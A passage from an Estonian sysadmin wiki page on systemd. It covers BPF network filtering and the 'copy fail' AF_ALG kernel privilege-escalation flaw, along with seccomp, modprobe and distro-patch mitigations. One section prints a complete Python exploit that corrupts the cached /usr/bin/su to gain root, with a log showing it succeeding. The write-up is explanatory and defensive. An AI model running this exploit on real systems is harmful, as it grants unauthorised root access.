&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor - erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3410</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3410"/>
		<updated>2026-05-02T10:07:56Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte - eksploit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
